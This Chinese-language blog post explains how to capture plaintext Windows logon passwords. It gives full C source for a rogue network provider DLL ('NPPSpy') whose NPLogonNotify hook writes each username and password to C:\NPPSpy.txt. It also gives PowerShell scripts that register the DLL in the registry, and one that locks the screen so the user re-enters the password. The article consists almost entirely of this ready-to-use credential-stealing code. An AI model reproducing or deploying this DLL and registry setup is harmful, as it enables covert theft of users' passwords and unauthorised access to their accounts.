利用系统函数获取windows明文密码

鸿鹄实验室

发布于 2021-04-15 10:25:15

8930

发布于 2021-04-15 10:25:15

文章被收录于专栏：鸿鹄实验室鸿鹄实验室

原理：

通过修改注册表，借助系统函数，抓取Windows明文密码

操作：

复现环境:

然后将下列代码编译为dll文件：

#include <Windows.h>

// from npapi.h
#define WNNC_SPEC_VERSION                0x00000001
#define WNNC_SPEC_VERSION51              0x00050001
#define WNNC_NET_TYPE                    0x00000002
#define WNNC_START                       0x0000000C
#define WNNC_WAIT_FOR_START              0x00000001

//from ntdef.h
typedef struct _UNICODE_STRING
{
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
  MsV1_0InteractiveLogon = 2,
  MsV1_0Lm20Logon,
  MsV1_0NetworkLogon,
  MsV1_0SubAuthLogon,
  MsV1_0WorkstationUnlockLogon = 7,
  MsV1_0S4ULogon = 12,
  MsV1_0VirtualLogon = 82,
  MsV1_0NoElevationLogon = 83,
  MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON
{
  MSV1_0_LOGON_SUBMIT_TYPE MessageType;
  UNICODE_STRING LogonDomainName;
  UNICODE_STRING UserName;
  UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;


void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
{
  HANDLE hFile;
  DWORD dwWritten;

  hFile = CreateFile(L"C:\\NPPSpy.txt",
    GENERIC_WRITE,
    0,
    NULL,
    OPEN_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL);

  if (hFile != INVALID_HANDLE_VALUE)
  {
    SetFilePointer(hFile, 0, NULL, FILE_END);
    WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);
    WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
    WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);
    WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
    CloseHandle(hFile);
  }
}


__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
  DWORD nIndex
)
{
  switch (nIndex)
  {
    case WNNC_SPEC_VERSION:
      return WNNC_SPEC_VERSION51;

    case WNNC_NET_TYPE:
      return WNNC_CRED_MANAGER;

    case WNNC_START:
      return WNNC_WAIT_FOR_START;

    default:
      return 0;
  }
}


__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
  PLUID lpLogonId,
  LPCWSTR lpAuthInfoType,
  LPVOID lpAuthInfo,
  LPCWSTR lpPrevAuthInfoType,
  LPVOID lpPrevAuthInfo,
  LPWSTR lpStationName,
  LPVOID StationHandle,
  LPWSTR* lpLogonScript
)
{
  SavePassword(
    &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
    &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
  );
  lpLogonScript = NULL;
  return WN_SUCCESS;
}

原文中，是需要修改注册表来达到效果的，

这里为了方便，我写了一个powershell脚本，来实现修改注册表这一步：

$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll"

当然你也可以写一个c++版的，方便使用，看个人喜好。

然后将上面编译好的dll，放入system32目录下：

然后运行我们的powershell脚本：

模拟用户注销、重新的登录，抓取到明文密码。

为了方便，直接加入锁屏功能，一键修改注册表+锁屏：

$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll"

Function Lock-WorkStation {

$signature = @"

[DllImport("user32.dll", SetLastError = true)]

public static extern bool LockWorkStation();

"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru

$LockWorkStation::LockWorkStation() | Out-Null

}

Lock-WorkStation

思路来源：

https://twitter.com/0gtweet/status/1282962201943343105

本文参与腾讯云自媒体分享计划，分享自微信公众号。

原始发表：2020-07-17，如有侵权请联系 cloudcommunity@tencent.com 删除

powershell